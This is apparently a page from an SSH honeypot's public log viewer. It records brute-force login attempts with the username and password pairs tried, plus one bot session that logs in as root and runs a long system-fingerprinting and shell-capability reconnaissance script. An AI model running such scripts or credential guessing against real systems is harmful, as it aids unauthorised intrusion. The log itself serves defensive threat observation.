nonproductions.net banner
Logo
Subsystem: NO BONK

Adversarial Observation Interface

Page 3599 / 16139 (806920 total records)
Passive Observation Node - Active Operational Overview
92.118.39.77
2026-10-08 14:40:37.517886 UTC
COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 200

Credential acceptance event recorded. Target authentication: root / 123123

Remote entity achieved interactive shell state. Command sequence (9 executed):

[obs-node]:~$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output"
[obs-node]:~$ uname -s -v -n -m 2 > /dev/null
[obs-node]:~$ /bin/uname -s -v -n -m 2 > /dev/null
[obs-node]:~$ /usr/bin/uname -s -v -n -m 2 > /dev/null
Command not found: /usr/bin/uname -s -v -n -m
[obs-node]:~$ busybox uname -s -v -n -m 2 > /dev/null
[obs-node]:~$ ( [ -f /proc/version ]
[obs-node]:~$ [ -f /proc/version ]
[obs-node]:~$ head -1 /proc/version | cut -d -f1
[obs-node]:~$ [ -f /etc/os-release ]
Record ID: c65c16fe5584
Client Version: SSH-2.0-Go
Engagement Duration: 4.9s
HASSH Fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5
{
  "id": "c65c16fe5584",
  "src_ip": "92.118.39.77",
  "start_time": "2026-10-08T14:40:37.517886Z",
  "end_time": "2026-10-08T14:40:42.373504Z",
  "duration": "4.9",
  "version": "SSH-2.0-Go",
  "hassh": "2ec37a7cc8daf20b10e1ad6221061ca5",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "123123"
  },
  "commands": [
    "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"",
    "uname -s -v -n -m 2 > /dev/null",
    "/bin/uname -s -v -n -m 2 > /dev/null",
    "/usr/bin/uname -s -v -n -m 2 > /dev/null",
    "busybox uname -s -v -n -m 2 > /dev/null",
    "( [ -f /proc/version ]",
    "[ -f /proc/version ]",
    "head -1 /proc/version | cut -d -f1",
    "[ -f /etc/os-release ]"
  ],
  "detailed_commands": [
    {
      "cmd": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -s -v -n -m 2 > /dev/null",
      "failed": false,
      "error": null
    },
    {
      "cmd": "/bin/uname -s -v -n -m 2 > /dev/null",
      "failed": false,
      "error": null
    },
    {
      "cmd": "/usr/bin/uname -s -v -n -m 2 > /dev/null",
      "failed": true,
      "error": "Command not found: /usr/bin/uname -s -v -n -m"
    },
    {
      "cmd": "busybox uname -s -v -n -m 2 > /dev/null",
      "failed": false,
      "error": null
    },
    {
      "cmd": "( [ -f /proc/version ]",
      "failed": false,
      "error": null
    },
    {
      "cmd": "[ -f /proc/version ]",
      "failed": false,
      "error": null
    },
    {
      "cmd": "head -1 /proc/version | cut -d -f1",
      "failed": false,
      "error": null
    },
    {
      "cmd": "[ -f /etc/os-release ]",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "/usr/bin/uname -s -v -n -m"
  ],
  "score": 200,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}
109.160.32.172
2026-10-08 14:40:32.637785 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: iptvserver

Record ID: 91929191d083
Client Version: SSH-2.0-Go
Engagement Duration: 10.1s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "91929191d083",
  "src_ip": "109.160.32.172",
  "start_time": "2026-10-08T14:40:32.637785Z",
  "end_time": "2026-10-08T14:40:42.717093Z",
  "duration": "10.1",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "iptvserver",
      "pass": "domino"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.172
2026-10-08 14:40:25.623514 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: gl15

Record ID: 1887b72626fa
Client Version: SSH-2.0-Go
Engagement Duration: 10.3s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "1887b72626fa",
  "src_ip": "109.160.32.172",
  "start_time": "2026-10-08T14:40:25.623514Z",
  "end_time": "2026-10-08T14:40:35.900851Z",
  "duration": "10.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "gl15",
      "pass": "E4IuG88G"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.172
2026-10-08 14:40:18.155390 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: noksa

Record ID: a0b6905d8469
Client Version: SSH-2.0-Go
Engagement Duration: 11.9s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "a0b6905d8469",
  "src_ip": "109.160.32.172",
  "start_time": "2026-10-08T14:40:18.155390Z",
  "end_time": "2026-10-08T14:40:30.048953Z",
  "duration": "11.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "noksa",
      "pass": "qw"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.172
2026-10-08 14:40:11.372131 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: mattermost

Record ID: 4a600d26344e
Client Version: SSH-2.0-Go
Engagement Duration: 12.7s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "4a600d26344e",
  "src_ip": "109.160.32.172",
  "start_time": "2026-10-08T14:40:11.372131Z",
  "end_time": "2026-10-08T14:40:24.085997Z",
  "duration": "12.7",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "mattermost",
      "pass": "manager"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.172
2026-10-08 14:40:05.125031 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: root123

Record ID: 68bdf264dcf0
Client Version: SSH-2.0-Go
Engagement Duration: 12.5s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "68bdf264dcf0",
  "src_ip": "109.160.32.172",
  "start_time": "2026-10-08T14:40:05.125031Z",
  "end_time": "2026-10-08T14:40:17.589101Z",
  "duration": "12.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "root123",
      "pass": "utente"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.172
2026-10-08 14:39:57.429391 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: s5duplex

Record ID: fed21a2357c8
Client Version: SSH-2.0-Go
Engagement Duration: 13.1s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "fed21a2357c8",
  "src_ip": "109.160.32.172",
  "start_time": "2026-10-08T14:39:57.429391Z",
  "end_time": "2026-10-08T14:40:10.496593Z",
  "duration": "13.1",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "s5duplex",
      "pass": "admin1234"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.172
2026-10-08 14:39:51.277607 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: teamcity

Record ID: 59e2c2b160c0
Client Version: SSH-2.0-Go
Engagement Duration: 14.1s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "59e2c2b160c0",
  "src_ip": "109.160.32.172",
  "start_time": "2026-10-08T14:39:51.277607Z",
  "end_time": "2026-10-08T14:40:05.429177Z",
  "duration": "14.1",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "teamcity",
      "pass": "user7"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.172
2026-10-08 14:39:44.038123 UTC
COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: hadoop / 124

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m
Record ID: 1c44a34b5ab2
Client Version: SSH-2.0-Go
Engagement Duration: 19.3s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "1c44a34b5ab2",
  "src_ip": "109.160.32.172",
  "start_time": "2026-10-08T14:39:44.038123Z",
  "end_time": "2026-10-08T14:40:03.330290Z",
  "duration": "19.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "hadoop",
    "pass": "124"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}
109.160.32.172
2026-10-08 14:39:36.194220 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: device

Record ID: c41d08230379
Client Version: SSH-2.0-Go
Engagement Duration: 18.3s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "c41d08230379",
  "src_ip": "109.160.32.172",
  "start_time": "2026-10-08T14:39:36.194220Z",
  "end_time": "2026-10-08T14:39:54.494903Z",
  "duration": "18.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "device",
      "pass": "model"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.172
2026-10-08 14:39:29.041618 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: pey18

Record ID: 9f806b3ce629
Client Version: SSH-2.0-Go
Engagement Duration: 19.7s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "9f806b3ce629",
  "src_ip": "109.160.32.172",
  "start_time": "2026-10-08T14:39:29.041618Z",
  "end_time": "2026-10-08T14:39:48.710286Z",
  "duration": "19.7",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "pey18",
      "pass": "Qwert@123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.172
2026-10-08 14:39:22.053325 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: hosting

Record ID: e8a34e9bbddf
Client Version: SSH-2.0-Go
Engagement Duration: 20.1s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "e8a34e9bbddf",
  "src_ip": "109.160.32.172",
  "start_time": "2026-10-08T14:39:22.053325Z",
  "end_time": "2026-10-08T14:39:42.161979Z",
  "duration": "20.1",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "hosting",
      "pass": "zyang"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.172
2026-10-08 14:39:15.795897 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: a-config-13

Record ID: 5b8594238522
Client Version: SSH-2.0-Go
Engagement Duration: 17.8s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "5b8594238522",
  "src_ip": "109.160.32.172",
  "start_time": "2026-10-08T14:39:15.795897Z",
  "end_time": "2026-10-08T14:39:33.635500Z",
  "duration": "17.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "a-config-13",
      "pass": "123456Abc"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.172
2026-10-08 14:39:09.678595 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: debug

Record ID: 1c53aa047a78
Client Version: SSH-2.0-Go
Engagement Duration: 15.7s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "1c53aa047a78",
  "src_ip": "109.160.32.172",
  "start_time": "2026-10-08T14:39:09.678595Z",
  "end_time": "2026-10-08T14:39:25.334051Z",
  "duration": "15.7",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "debug",
      "pass": "19860123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
41.93.82.201
2026-10-08 14:39:03.466115 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: anton

Record ID: 43324386ee88
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 3.1s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "43324386ee88",
  "src_ip": "41.93.82.201",
  "start_time": "2026-10-08T14:39:03.466115Z",
  "end_time": "2026-10-08T14:39:06.523599Z",
  "duration": "3.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "anton",
      "pass": "anton123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.172
2026-10-08 14:39:03.370313 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: cs238

Record ID: 34c5dc243398
Client Version: SSH-2.0-Go
Engagement Duration: 14.8s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "34c5dc243398",
  "src_ip": "109.160.32.172",
  "start_time": "2026-10-08T14:39:03.370313Z",
  "end_time": "2026-10-08T14:39:18.187070Z",
  "duration": "14.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "cs238",
      "pass": "147963"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.172
2026-10-08 14:38:57.614774 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ser

Record ID: b7f3f639b059
Client Version: SSH-2.0-Go
Engagement Duration: 13.5s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "b7f3f639b059",
  "src_ip": "109.160.32.172",
  "start_time": "2026-10-08T14:38:57.614774Z",
  "end_time": "2026-10-08T14:39:11.099677Z",
  "duration": "13.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "ser",
      "pass": "00000000000"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
109.160.32.172
2026-10-08 14:38:49.633984 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: couchdb

Record ID: 2df7f654c11c
Client Version: SSH-2.0-Go
Engagement Duration: 13.2s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "2df7f654c11c",
  "src_ip": "109.160.32.172",
  "start_time": "2026-10-08T14:38:49.633984Z",
  "end_time": "2026-10-08T14:39:02.822851Z",
  "duration": "13.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "couchdb",
      "pass": "ivan"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
